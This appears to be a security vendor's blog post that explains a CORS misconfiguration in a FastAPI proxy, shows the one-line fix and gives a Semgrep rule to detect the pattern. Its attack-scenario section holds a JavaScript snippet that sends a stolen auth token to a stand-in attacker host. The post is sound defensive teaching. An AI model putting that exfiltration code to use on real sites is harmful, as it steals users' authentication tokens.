Back to Blog
high SEVERITY6 min read

How CORS Misconfiguration Happens in FastAPI and How to Fix It

A FastAPI application serving as a MyShows proxy was configured to allow all origins with credentials enabled, creating a dangerous CORS misconfiguration that could let any malicious website silently harvest authentication tokens. The fix was a single-line change — setting `allow_credentials=False` — but the implications of leaving it unchecked were significant. This post breaks down exactly how the vulnerability works, why FastAPI's behavior makes it subtler than it first appears, and how to co

O
By Orbis AppSec
Published August 18, 2026Reviewed August 18, 2026

Answer Summary

This vulnerability is a CORS misconfiguration (CWE-942) in a FastAPI application where `CORSMiddleware` was configured with both `allow_origins=["*"]` and `allow_credentials=True` in `example_myshows_proxy/main.py`. While FastAPI/Starlette reflects the request's `Origin` header rather than sending a literal `*` when credentials are enabled, this means every origin is effectively allowed to make credentialed cross-origin requests — including malicious ones that can read authentication tokens from the `/auth` endpoint. The fix is to set `allow_credentials=False`, which prevents the `Access-Control-Allow-Credentials: true` header from being sent and blocks browsers from exposing response bodies to cross-origin scripts.

Vulnerability at a Glance

cweCWE-942
fixSet allow_credentials=False in CORSMiddleware configuration
riskAny website can make authenticated cross-origin requests and read auth tokens
languagePython (FastAPI / Starlette)
root causeallow_origins=["*"] combined with allow_credentials=True in CORSMiddleware
vulnerabilityCORS Misconfiguration with Credentials

How CORS Misconfiguration Happens in FastAPI and How to Fix It

The File That Handles Authentication — and Why Its CORS Config Mattered

The example_myshows_proxy/main.py file is the entry point for a FastAPI application that proxies requests to the MyShows API. Among its endpoints is /auth, which returns an authentication token to the caller. That makes the CORS configuration at the top of this file critically important — because CORS is the browser's primary mechanism for deciding which websites are allowed to read those responses.

At line 12, the application registered CORSMiddleware with a configuration that looked harmless at first glance:

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,  # ← the vulnerable line
    allow_methods=["*"],
    allow_headers=["*"],
)

This single line — allow_credentials=True — in combination with allow_origins=["*"] created a high-severity vulnerability that could allow any website on the internet to silently steal the authentication tokens returned by this proxy.


The Vulnerability Explained

What CORS Is Supposed to Do

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external origins can read responses from your server. By default, browsers block cross-origin reads — CORS headers are the server's way of explicitly granting exceptions.

The Access-Control-Allow-Credentials: true header is a special escalation: it tells the browser, "Yes, you may include cookies, HTTP auth headers, or TLS client certificates in cross-origin requests — and you may expose the response to the requesting JavaScript."

The Subtle FastAPI/Starlette Behavior That Makes This Worse

Here's where this vulnerability gets interesting — and why it's easy to miss in code review.

The CORS specification explicitly forbids combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers will reject that combination. So you might think: "FastAPI will just send *, browsers will reject it, no harm done."

That's not what FastAPI does.

When allow_credentials=True is set, Starlette's CORSMiddleware does not send Access-Control-Allow-Origin: *. Instead, it reflects the incoming Origin header back verbatim. So if a request arrives from https://evil-attacker.com, the server responds with:

Access-Control-Allow-Origin: https://evil-attacker.com
Access-Control-Allow-Credentials: true

This is a valid credentialed CORS response. The browser accepts it. The attacker's JavaScript can read the full response body — including any authentication token.

The Attack Scenario

Imagine a user is logged into the MyShows proxy application in their browser. They visit a malicious website (perhaps via a phishing link or a compromised ad). That website runs the following script:

fetch('https://myshows-proxy.example.com/auth', {
  method: 'POST',
  credentials: 'include',  // sends the user's cookies
  body: JSON.stringify({ username: 'victim', password: 'stored-in-browser' })
})
.then(response => response.json())
.then(data => {
  // data.token is now in the attacker's hands
  fetch('https://evil-attacker.com/collect?token=' + data.token);
});

Because the server reflects the attacker's origin and includes Access-Control-Allow-Credentials: true, the browser allows the response to be read. The token is exfiltrated. The attacker now has authenticated access to the victim's MyShows account.

Real-World Impact

This proxy application is described as publicly accessible. Any user who has ever authenticated through it and visits a malicious page is at risk of having their session token stolen — with no indication that anything went wrong.


The Fix

The fix is a single character change at line 14 of example_myshows_proxy/main.py:

Before (vulnerable):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,   # reflects every Origin with credentials
    allow_methods=["*"],
    allow_headers=["*"],
)

After (fixed):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=False,  # no credentialed cross-origin access
    allow_methods=["*"],
    allow_headers=["*"],
)

Why This Specific Change Solves the Problem

Setting allow_credentials=False (which is also the default if the parameter is omitted) means Starlette will send Access-Control-Allow-Origin: * as a literal wildcard. Browsers enforce the rule that wildcard origins cannot be used with credentialed requests — so any fetch(..., { credentials: 'include' }) call from a foreign origin will be blocked by the browser before the response is ever exposed to JavaScript.

Unauthenticated cross-origin requests (e.g., public API calls without cookies) still work as expected. The change only prevents credentialed cross-origin reads, which is exactly the attack vector being closed.

The Ideal Long-Term Fix

If the application genuinely needs to support credentialed cross-origin requests from specific trusted frontends, the correct configuration is:

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://trusted-frontend.example.com"],  # explicit allowlist
    allow_credentials=True,
    allow_methods=["GET", "POST"],
    allow_headers=["Authorization", "Content-Type"],
)

This grants credentialed access only to known, trusted origins — rather than reflecting every origin that asks.


Prevention & Best Practices

1. Never Combine Wildcard Origins with Credentials

This is the cardinal rule of CORS configuration. If you need allow_credentials=True, you must enumerate your trusted origins explicitly. There is no safe way to combine allow_origins=["*"] with allow_credentials=True.

2. Apply the Principle of Least Privilege to CORS

Only allow the methods, headers, and origins your application actually needs. allow_methods=["*"] and allow_headers=["*"] are also worth revisiting — they expand the attack surface unnecessarily.

3. Use Semgrep to Catch This Pattern

A Semgrep rule can flag this exact anti-pattern in any FastAPI or Starlette codebase:

# Detects allow_origins=["*"] + allow_credentials=True in CORSMiddleware
rules:
  - id: cors-wildcard-with-credentials
    patterns:
      - pattern: |
          CORSMiddleware(..., allow_origins=["*"], ..., allow_credentials=True, ...)
    message: "Wildcard CORS origin with credentials=True reflects all origins"
    severity: ERROR

Search for related patterns at https://semgrep.dev/r?q=cors+credentials.

4. Security Standards Reference


Key Takeaways

  • allow_credentials=True with allow_origins=["*"] in FastAPI is not a no-op — Starlette reflects the actual Origin header, making every origin effectively trusted for credentialed requests.
  • The /auth endpoint was the highest-risk target — it returns authentication tokens, making it the ideal target for a cross-origin credential theft attack.
  • The fix required changing exactly one value (TrueFalse) at line 14 of main.py, but the security impact is significant: credentialed cross-origin reads are now blocked by browsers.
  • Wildcard CORS is safe for public, unauthenticated APIs — the problem only arises when credentials are also enabled.
  • CORS misconfigurations are silent — there are no server-side errors, no logs, and no user-visible symptoms when an attacker exploits this. Detection requires proactive scanning.

How Orbis AppSec Detected This

  • Source: The Origin request header sent by any cross-origin browser request to the FastAPI application.
  • Sink: The CORSMiddleware configuration at example_myshows_proxy/main.py:12–17, specifically the allow_credentials=True parameter combined with allow_origins=["*"].
  • Missing control: No restriction on which origins are permitted to make credentialed requests; the wildcard origin policy effectively whitelisted all origins when combined with credential reflection.
  • CWE: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains.
  • Fix: Changed allow_credentials=True to allow_credentials=False at line 14, preventing the Access-Control-Allow-Credentials: true header from being sent and blocking browsers from exposing credentialed responses to cross-origin scripts.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CORS misconfigurations are among the most common and most underestimated security issues in web APIs. The combination of allow_origins=["*"] and allow_credentials=True in FastAPI's CORSMiddleware is particularly dangerous because it doesn't fail loudly — it silently reflects every origin as trusted, giving any malicious website the ability to make authenticated requests and read the responses.

In this case, the /auth endpoint of example_myshows_proxy/main.py was directly exposed: any website could have triggered an authenticated request and exfiltrated the resulting token. A one-line fix — flipping allow_credentials to False — closes the vulnerability entirely.

The lesson for FastAPI developers: always treat allow_credentials=True as a high-privilege setting that requires an explicit, restrictive allow_origins list. When in doubt, default to False and add origins as your application's trust requirements become clear.


References

Frequently Asked Questions

What is a CORS misconfiguration with credentials?

It occurs when a server allows all origins AND sends the Access-Control-Allow-Credentials: true header, permitting any website to make authenticated requests and read the responses — including sensitive tokens.

How do you prevent CORS credential misconfigurations in FastAPI?

Either restrict allow_origins to a specific list of trusted domains, or set allow_credentials=False. Never combine allow_origins=["*"] with allow_credentials=True.

What CWE is CORS misconfiguration?

CWE-942: Permissive Cross-domain Policy with Untrusted Domains.

Is setting allow_origins=["*"] alone enough to prevent credential leakage?

Only if allow_credentials is False (or omitted). If credentials are enabled, FastAPI/Starlette reflects the actual Origin header back instead of "*", effectively whitelisting every origin for credentialed requests.

Can static analysis detect CORS credential misconfigurations?

Yes. Tools like Semgrep can flag the pattern of allow_origins=["*"] combined with allow_credentials=True in middleware configuration code.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3

Related Articles

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

critical

How Distributed Lock Takeover Happens in Node.js and How to Fix It

A critical vulnerability in `redis-lock/server.mjs` allowed any authenticated client to release another client's lock by guessing predictable holder identifiers like process IDs or hostnames. The fix implements cryptographically random `lockId` values that are minted on lock acquisition and validated on release, eliminating the exploit primitive entirely.

high

How Denial of Service via Infinite Loop happens in JavaScript (nanoid) and how to fix it

A high-severity denial of service vulnerability (CVE-2026-67213) was discovered in nanoid versions before 5.1.6 and 3.3.18, where the `customAlphabet` function could enter an infinite loop during random ID generation. The fix upgrades the transitive nanoid dependency from 3.3.16 to 3.3.18 using pnpm overrides, ensuring the vulnerable code path is eliminated from the entire dependency tree including PostCSS.

high

How Information Disclosure via Unstripped Credential Headers Happens in Electron Apps and How to Fix It

A high-severity vulnerability (CVE-2026-54673) in the builder-util-runtime package allowed sensitive credential headers to leak during HTTP redirects in Electron applications. The fix upgrades builder-util-runtime from version 9.5.1 to 9.7.0, which properly strips authentication headers before following redirects to prevent information disclosure.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How Missing CSRF Middleware happens in Express.js and how to fix it

A high-severity CSRF vulnerability was discovered in `libProxy.js` of an Express.js application — the app had no CSRF middleware protecting its state-changing routes, leaving them open to cross-site request forgery attacks. The fix introduces a `csrf` token library, a `/csrf-token` endpoint to issue tokens, and a middleware that validates `x-csrf-token` headers or `_csrf` body fields on all non-safe HTTP methods. This proactive hardening removes an exploit primitive that could be chained with ot